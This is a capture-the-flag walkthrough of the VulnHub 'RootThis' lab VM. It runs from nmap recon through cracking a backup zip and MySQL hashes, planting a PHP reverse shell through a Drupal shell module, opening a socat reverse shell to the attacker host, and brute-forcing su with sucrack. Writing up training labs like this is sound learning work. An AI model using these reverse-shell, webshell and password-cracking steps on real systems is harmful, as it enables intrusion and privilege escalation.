Details

This machine is https://www.vulnhub.com/entry/rootthis-1,272/

Recon Phase

Need to locate the machine

root@kali:~# nmap -T4 -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
MAC Address: 0A:00:27:00:00:00 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00015s latency).
MAC Address: 08:00:27:A6:DA:60 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up (0.00042s latency).
MAC Address: 08:00:27:4E:72:CE (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.96 seconds

Check for services

root@kali:~# nmap -T4 -sV 192.168.56.103
Nmap scan report for 192.168.56.103
Host is up (0.00010s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:4E:72:CE (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Shell Hunting

I checked out the only option, the web server at http://192.168.56.103/

Then setup dirbuster

So I looked at drupal http://192.168.56.103/drupal/

And check the version by going to http://192.168.56.103/drupal/CHANGELOG.txt

Not vulnerable to drupalgeddon, so I move onto http://192.168.56.103/backup which offers me a bin file to download, so I saved it and upon inspecting discover it is a zip file

root@kali:~# unzip ./backup
Archive:  ./backup
 [./backup] dump.sql password:

It wants a password, so I brute force it

root@kali:~# fcrackzip -D -v -u -p /usr/share/wordlists/rockyou.txt backup
found file 'dump.sql', (size cp/uc 269921/1868829, flags 9, chk 118d)
checking pw udei9Qui
PASSWORD FOUND!!!!: pw == thebackup

Then unzipped it. This gave me an sql dump, which I looked into and found some details

LOCK TABLES `user` WRITE;
/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES ('localhost','root','*7AFEAE5774E672996251E09B946CB3953FC67656','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'unix_socket','','N','N','',0.000000),('localhost','webman','*9AF2F8E8C08165DC70FA4B4F8D40EA6EC84CB6D2','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','','','','',0,0,0,0,'','','N','N','',0.000000);
/*!40000 ALTER TABLE `user` ENABLE KEYS */;
UNLOCK TABLES;

I put the details into a file called crack.txt with the following

root@kali:~# cat crack.txt
root:*7AFEAE5774E672996251E09B946CB3953FC67656
webman:*9AF2F8E8C08165DC70FA4B4F8D40EA6EC84CB6D2

And cracked it with john

root@kali:~# john ./crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (mysql-sha1, MySQL 4.1+ [SHA1 128/128 SSE2 4x])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
moranguita       (webman)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:02 DONE (2019-02-23 22:49) 0.3389g/s 4861Kp/s 4861Kc/s 4863KC/sa6_123..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Only got one, so I ran it in pure bruteforce mode to get the other

root@kali:~# john ./crack.txt
[SNIP]
Proceeding with incremental:ASCII
drupal           (root)
1g 0:00:00:03 DONE 3/3 (2019-02-23 22:50) 0.2604g/s 2759Kp/s 2759Kc/s 2759KC/s drupam..drupar
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So

root:drupal
webman:moranguita

I tried logging in as root, it didn’t work so I logged in as webman

I have access to the module install page

So I installed https://www.drupal.org/project/shell and went to http://192.168.56.103/drupal/admin/modules to enable it

And tested it at http://192.168.56.103/drupal/shell

I had some trouble getting commands to execute, but its file editor worked at http://192.168.56.103/drupal/shell/edit-file?file=/var/www/html/drupal/index.php&cwd=

So I took a copy of /usr/share/wordlists/php/php-reverse-shell.php and pointed it at me, then went to http://192.168.56.103/drupal/shell/edit-file?file=/var/www/html/drupal/spawn.php&cwd= and pasted it in

I opened a listener

root@kali:~# nc -nlvp 4444

And triggered my shell by going to http://192.168.56.103/drupal/spawn.php

connect to [192.168.56.101] from (UNKNOWN) [192.168.56.103] 58572
Linux RootThis 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
 18:33:15 up  1:24,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

I now have a shell

Root Time

Time to get root

$ python -c "import pty;pty.spawn('/bin/bash')"
/bin/sh: 1: python: not found

No python, but there’s an alternative

$ /bin/bash -i
bash: cannot set terminal process group (425): Inappropriate ioctl for device
bash: no job control in this shell
www-data@RootThis:/$

I looked for potential users

www-data@RootThis:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
avahi-autoipd:x:105:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
messagebus:x:106:111::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false

So I looked into their home

www-data@RootThis:/$ cd /home/user
www-data@RootThis:/home/user$ ls -la
drwxr-xr-x 2 user user 4096 Dec  1 11:43 .
drwxr-xr-x 3 root root 4096 Dec  1 03:57 ..
-rw------- 1 user user   12 Dec  1 11:31 .bash_history
-rw-r--r-- 1 user user  220 Dec  1 03:57 .bash_logout
-rw-r--r-- 1 user user 3526 Dec  1 03:57 .bashrc
-rw-r--r-- 1 user user  675 Dec  1 03:57 .profile
-rw-r--r-- 1 user user  217 Dec  1 11:43 MessageToRoot.txt

Looks interesting

www-data@RootThis:/home/user$ cat MessageToRoot.txt
Hi root,
Your password for this machine is weak and within the first 300 words of the rockyou.txt wordlist. Fortunately root is not accessible via ssh. Please update the password to a more secure one.
Regards,
user

That’s a nice hint, but with stuff missing, and su doesn’t work. I need to move it over, so I get a static socat from https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat and put it in my /var/www/html and setup apache

root@kali:~# apache2ctl start
Invoking 'systemctl start apache2'.

And grabbed it on the target

www-data@RootThis:/home/user$ cd /tmp
www-data@RootThis:/tmp$ wget http://192.168.56.101/socat
--2019-02-23 18:54:45--  http://192.168.56.101/socat
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 375176 (366K)
Saving to: 'socat'
     0K .......... .......... .......... .......... .......... 13% 13.9M 0s
    50K .......... .......... .......... .......... .......... 27% 19.2M 0s
   100K .......... .......... .......... .......... .......... 40% 25.5M 0s
   150K .......... .......... .......... .......... .......... 54%  228M 0s
   200K .......... .......... .......... .......... .......... 68%  197M 0s
   250K .......... .......... .......... .......... .......... 81%  226M 0s
   300K .......... .......... .......... .......... .......... 95%  227M 0s
   350K .......... ......                                     100%  207M=0.009s
 2019-02-23 18:54:45 (40.1 MB/s) - 'socat' saved [375176/375176]

And made it executable

www-data@RootThis:/tmp$ chmod +x socat

Then setup a new listener

root@kali:~# nc -nlvp 2222

And connected it

www-data@RootThis:/tmp$ ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.56.101:2222 &
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.103] 46948
www-data@RootThis:/tmp$

A bit of research into bruteforcing su passwords led to https://labs.portcullis.co.uk/tools/sucrack/, so I downloaded it locally, and compiled it following their instructions. I then tared the compiled version

root@kali:~# tar -czvf compiled.tar.gz ./sucrack-1.2.3

Copied it into www

root@kali:~# cp compiled.tar.gz /var/www/html/

Then moved it onto the server

www-data@RootThis:/tmp$ wget http://192.168.56.101/compiled.tar.gz
--2019-02-23 19:16:29--  http://192.168.56.101/compiled.tar.gz
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 222033 (217K) [application/x-gzip]
Saving to: 'compiled.tar.gz'
compiled.tar.gz     100%[===================>] 216.83K  --.-KB/s    in 0.001s
2019-02-23 19:16:29 (196 MB/s) - 'compiled.tar.gz' saved [222033/222033]

And de-tared it

www-data@RootThis:/tmp$ tar -xzvf compiled.tar.gz

I needed the 300 lines of rockyou.txt

root@kali:~# head -300 /usr/share/wordlists/rockyou.txt > /var/www/html/words.txt
www-data@RootThis:/tmp$ wget http://192.168.56.101/words.txt

Time to set up

www-data@RootThis:/tmp$ cd sucrack-1.2.3
www-data@RootThis:/tmp/sucrack-1.2.3$ cd src

I need to set the env vars, with a quick test I found the error message was

su: Authentication failure

Then set the envs

www-data@RootThis:/tmp/sucrack-1.2.3/src$ export SUCRACK_SU_PATH=/bin/su
www-data@RootThis:/tmp/sucrack-1.2.3/src$ export SUCRACK_AUTH_FAILURE="su: Authentication failure"

And setup the actual cracker

www-data@RootThis:/tmp/sucrack-1.2.3/src$ ./sucrack -u root -w 10 /tmp/words.txt
password is: 789456123

So I can su

www-data@RootThis:/tmp/sucrack-1.2.3/src$ su
root@RootThis:/tmp/sucrack-1.2.3/src#

Now I’m root I can get the flag

root@RootThis:/tmp/sucrack-1.2.3/src# cd /root
root@RootThis:~# ls -la
drwx------  2 root root 4096 Dec  3 02:53 .
drwxr-xr-x 22 root root 4096 Dec  1 03:55 ..
-rw-------  1 root root  109 Dec  3 02:53 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-------  1 root root   89 Dec  3 02:53 flag.txt
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
root@RootThis:~# cat flag.txt
Congratulations!
flag: a67d764105005a6a95a9c8c03bc95710bc396dccc4364704127170637b2bd39d